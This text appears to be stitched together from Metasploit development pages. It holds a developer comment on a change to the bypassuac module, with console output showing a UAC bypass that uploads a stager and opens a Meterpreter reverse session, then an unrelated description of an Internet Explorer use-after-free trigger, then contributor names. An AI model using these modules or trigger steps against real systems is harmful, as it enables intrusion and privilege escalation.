The new changes when calling uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') breaks UAC on Windows 7 and Windows 8 and shows that UAC is not enabled when it is:
Here is prior to the change on a fully patched Windows 8 machine:
msf exploit(bypassuac) > exploit
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[-] UAC is not enabled, no reason to run module
[-] Run exploit/windows/local/ask to elevate
msf exploit(bypassuac) >
Here's the module when running with the most recent changes that are being proposed:
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[!] Could not determine UAC level - attempting anyways...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Sending stage (770048 bytes) to 172.16.21.128
[*] Meterpreter session 6 opened (172.16.21.156:4444 -> 172.16.21.128:49394) at 2013-10-05 15:49:23 -0400
meterpreter >
With the new changes and not having a return on when 0 (will not always return 0 - just in certain cases where you cannot query) - it works.
This module exploits a use-after-free vulnerability that currents
targets Internet Explorer 9 on Windows 7, but the flaw should exist in
versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but
other regions such as English, Chinese, Korean, etc, were targeted as
well.
The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function
handles a reference during an event. An attacker first can setup two
elements, where the second is the child of the first, and then setup a
onlosecapture event handler for the parent element. The onlosecapture
event seems to require two setCapture() calls to trigger, one for the parent
element, one for the child. When the setCapture() call for the child element
is called, it finally triggers the event, which allows the attacker to cause
an arbitrary memory release using document.write(), which in particular frees
up a 0x54-byte memory. The exact size of this memory may differ based on the
version of IE. After the free, an invalid reference will still be kept and pass
on to more functions, eventuall this arrives in function
MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary code execution)
when this function attempts to use this reference to call what appears to be a
PrivateQueryInterface due to the offset (0x00).
To mimic the same exploit found in the wild, this module will try to use the
same DLL from Microsoft Office 2007 or 2010 to leverage the attack.
sinn3r
Tod Beardsley
joev
trustedsec
jvazquez-r7
bcoles
Brandon Perry
xistence
Brandon Turner
Tab Assassin
Meatballs
TecR0c